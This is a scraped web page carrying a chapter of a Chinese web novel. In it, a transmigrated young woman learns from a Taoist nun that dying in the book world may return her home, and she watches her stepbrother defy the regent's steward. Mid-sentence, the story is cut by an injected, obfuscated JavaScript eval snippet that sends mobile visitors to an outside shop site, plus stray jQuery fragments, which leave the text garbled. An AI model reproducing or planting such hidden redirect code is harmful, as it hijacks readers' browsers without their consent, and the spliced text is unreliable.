文趣网 > 其他小说 > 继兄是火葬场男二 > 18.第 18 章
    月芙耳畔,“嗡”一声,像是有东西无声爆炸。

    她一动不动紧盯陌生的女道,整个人恍若被冻成冰雕。

    自道长口中道出的八个字,像魔咒一样,在耳畔萦绕,余音不绝。

    徒留此地。

    不如归去。

    此地是哪儿?京城?还是这本书?

    归去何地?陈郡,还是……

    现代?

    月芙已经很久很久,没敢想这两个字了。

    她在现代的家庭很普通,不是大富大贵之家,却也衣食无忧,父母不是人人称羡的模范家长,但离开久了,也会忍不住相互想念。

    月芙顺利地度过人生前十八年,考上大学,结识了许多有共同爱好的朋友,时常趁着周末,外出游玩。偶尔也会有损友看热闹不嫌事大,给她推荐些看了叫人胃痛的短篇故事。

    刚刚回忆起一切的时候,月芙的确想回家。

    在古代的十六年,并未冲散现代时光的一分一毫,她仍深切地爱着那个哪怕更辛苦,却也更自由自在,不受教条拘束的世界。

    很快,她说服了自己,她是回不去的。

    依照月芙在现代看过那么多穿书文的经历,能二次穿书的文,一般是主角绑定系统,颁布任务,拿重生回家当奖励。

    她的穿书方式,是经典被卡车撞成压缩文件,一次性穿越的形式。

    十六年来,除却当年牵着她的手,将她送入谢府的道长,月芙一次灵异事件都没遇到,更别提反复穿书文中,人手一款的系统。

    月芙强行说服自己,这儿才是她真正归宿。

    可一旦被人点破自己的过去,强烈的思念如同褐色巨浪,排山倒海般朝她涌来。

    “您……”月芙大脑一片空白,当即想要问个明白。

    她红着眼眶,上前一步,想要说话。脚下“嘎巴”一声,踩断深秋的枯枝,将她从恍惚中猛地拉回。

    冷静。

    她还不知道眼前之人到底是谁,说出这种话,有何目的。也不知道泄露天机,会不会有所代价。

    月芙机警转头,确认李嬷嬷没有追上来,方重新上前几步,小心翼翼试探道:“道长此言何意?”

    道长笑道:“小友不认得我了?”

    见月芙面露疑惑,她无声轻笑,摇了摇头,从石凳上站起:“玄龙十年,我曾与小友有一面之缘。我观小友有缘,送了小友一场造化。”

    玄龙是圣人的上一个年号,玄龙十年,月芙四岁。

    月芙双目微微张大,再按捺不住,惊呼出声:“是您?”

    她其实,一直在内心感激那位道长,如果不是她,月芙如今身至何处都不知道。

    能知道这件事的人,除却谢家与女道本人外,再无其他。

    谢家不可能知道她来自何方,照这么说,虽然眼前道长看着年轻,不过三十出头,却有可能,与当初将她带离流民堆的道士,是同一人?

    月芙低下头:“我那时年少,记不太清楚。若有怠慢,还请道长恕罪。”

    道士笑道:“无妨。”

    “我名静虚。”她轻甩拂尘,自我介绍,“初次见小友时,我资历尚浅,不曾看得太远。如今再度偶遇,我来送小友第二段缘。”

    她没有给月芙反应的时间,从怀中取出一物递上。

    那是一面晶莹剔透,宛如冰雕玉琢,却又破破烂烂,融化大半的水银镜。

    “月芙居士。”

    静虚的声音响起,似是落在耳畔,又似是隔着千里之遥。

    “贫道修为尚浅,关于你的来路,我并不清楚。恐怕,也只有你自己知道,你到底来自何方。”

    “只是,居士困守在此处十六年,正逐渐与此世融为一体。若魂魄再不归位,水镜融化之时,恐怕将彻底断绝与另一个世界的联系。”

    水银镜的镜面,大部分已消失殆尽,月芙看不清上面的痕迹。但静虚的声音,响在耳畔,再清晰不过。

    月芙感觉自己晕晕乎乎的。

    就在不久前,她还在难过自己拼尽全力,也无法阻止哥哥与女主走近。下一刻,能回家这样的惊天消息便当头砸下,使她措手不及。

    难不成,是老天觉得她太可怜,看不下去,亦或是真的怕她撒泼打滚,一哭二闹三上吊,逼哥哥退婚,影响世界线,给了她这样一个安慰奖?

    “敢问……”月芙听见自己声音在发抖,“我如何才能回去?”

    她要回家的。

    她是一定要回家的。

    不仅是因为那个世界有月芙在意的人,更是因为,她原本所在的时空,是比现在好千百遍的地方。

    静虚露出了笑容:“奇怪,居士应当早已明了才对。”

    “生者可以死,死者可以生。此岸,彼岸,皆在居士一念之间。”她手执拂尘,略施一礼,“贫道只能窥见其中一二,具体如何抉择,还需小友自行定夺。”

    月芙双眸睁大,恍然大悟,又往后退了几步,呼吸几乎凝滞。

    在这个世界死亡,可以回家?

    静虚说得没错,月芙早就想到了这种方法。之所以不试,只是因为生命只有一次,不敢压住而已。

    如今,万事俱备,只差正式实施。

    可是,可是……

    她该如何与这个世界在意她的人道别?

    临门一脚之际,月芙犹豫起来。

    月芙来此一遭,纵使开局不大好,到头来,并没有受太大的委屈。

    虽说自己离开陈郡时,就已经抱着或许会触怒摄政王,再也回不来的想法,与照顾她的人认真地道了别,但她到了京城后,才遇到的那些人呢?

    春和,孙先生,小泥鳅,李嬷嬷……

    还有。

    哥哥。

    谢桢的命运,目前为止,依然没有改变。

    如果她回家了,哥哥怎么办?

    “多谢道长。”月芙深吸一口气,努力恢复平静,向静虚行礼,“此事事关重大,我需要些时间细想。”

    “无妨。”静虚微笑道,“只是,水镜乃是天地灵气所化,不得离开道宫。若居士还有疑惑,可再来寻我,我自会为居士解惑。”

    没有指点,也没有补充。她就这么无声微笑,目送月芙离开。

    告辞后,月芙站在月牙洞前,看着通往两个方向的石阶路。

    往右,是李嬷嬷和泥鳅去的地方,与哥哥分别时,月芙心情沉重,泥鳅在她脚边使劲儿摇尾巴,也提不起劲儿去遛狗。

    李嬷嬷似乎看出月芙心情不佳,主动提议,自己带泥鳅去散步,不劳烦月芙陪着。

    往左,就是她的来时路,哥哥在那儿,等着他以为的,“沈令仪的朋友”。

    月芙迟疑片刻,往来路走去。

    她突然很想见哥哥,就算无法与他言明自己要回家的事,哪怕只是说说话,也是好的。

    哥哥对她很好,如果是哥哥,一定会耐心地听完她不着调的倾诉,依照他的理解,给出对症的方案。

    月芙用力抹了抹泛红的眼角,加快脚步,朝着谢桢所在的林荫道小跑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945014|212854||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    过去。

    她跑得气喘吁吁,呼吸凌乱,再离墙边几步之遥外的地方,戛然止步。

    谢桢依旧站在原本的位置,身姿颀长,如兰亭玉树。

    他的面前,站着名管事打扮的人,正彬彬有礼,却寸步不让地问着什么。

    摄政王的人?

    来找沈令仪的?

    月芙心头一凛,下意识躲到高墙后。她竖起耳朵,屏息凝神,不敢轻易行动,给哥哥惹祸。

    管事模样的人鞠着身子,态度恭敬,话里却仿佛藏着刀锋:“谢学士,小人已经说过了。小人是沈府中人,奉命来接沈娘子。可寻遍了道宫,不见娘子身影。有人说,娘子最后是往后山来,不知谢学士可曾见过?”

    谢桢立在原地,微风掀起鹤氅一角。他垂落长睫,看着那名管事:“我仔细想了想,我在沈府不曾见过尊介,观尊介的衣着,亦不像是沈家仆从。”

    “倒像是……”他弯唇一笑,没有回避,“王府中人。”

    哥哥怎么会那么冲动?

    月芙躲在墙壁后,懵了一瞬。

    整个大翌,只有一个王爷,摄政王萧悼。谢桢此话一出,指的是谁,不言而喻。

    这,这不是明摆着给摄政王难看吗?

    无论是装傻,故作不知,还是指一个错误的方向,暂且应付过去,都比直接揭露身份要好不知道多少倍。

    管事也没想到,谢桢会如此不给他背后之人面子,脸色不禁有些难看。

    “谢学士,我是王府中人又如何?”他回答道,“王爷与沈娘子有事相商,顾及沈娘子清誉,方命我多加遮掩。”

    “既然学士已认出我,还请行个方便,告知沈娘子去处。”

    谢桢微微侧首,像是在思忖什么。片刻后,他从容开口:“烦请尊介转告王爷,我已送沈娘子离开,去往何处,无从告知。”

    管事面露不悦,正要追问去向,谢桢又道:“她与下官有婚约在身,今日偶遇,便由下官府中车马送其归家。此事若有不妥,阁下可至户部沈大人处询问,亦可向圣人禀报。”

    他的语气平铺直叙,既无心虚,也无讨好,仿佛只是在陈述一件天经地义的事。

    管事的脸色,一下子变得很是难看。

    月芙的心,也险些从嗓子眼里蹦出来。

    哥哥在做什么?

    挑衅摄政王吗?

    他疯了吗?

    兄长一向是再谨言慎行不过,眼下这几句话出口,会给他带来多大的麻烦,他不可能不知道。

    当初他保护月芙的时候,态度虽然坚决,却并不强硬。进退得当,给足了对方面子。

    是因为现在的事与在意的人有关,为了保护所爱之人,控制不住失态,宣誓主权吗?

    原来对一个人在意与否,差距,竟然那么大。

    月芙的呼吸,忽而有些沉涩,心口,也开始不断发闷。

    她扶着墙,撑住慢慢下滑的身子。四肢百骸像是浸在冰水里,浑身发麻,说不出话。

    谢桢与管事的对话,还在继续,月芙却已经听不清了。

    她只是很羡慕沈令仪,能被哥哥这样保护。

    也很茫然,她的下一步,到底该做什么?

    哥哥,一定很喜欢沈令仪。

    沈令仪,看上去也不排斥哥哥。

    拆散一对有情人,谢桢真的会开心吗?

    月芙来到京城,横冲直撞般做了那么多,最开始的,也是归根结底的目的,明明……

    明明是想让哥哥幸福。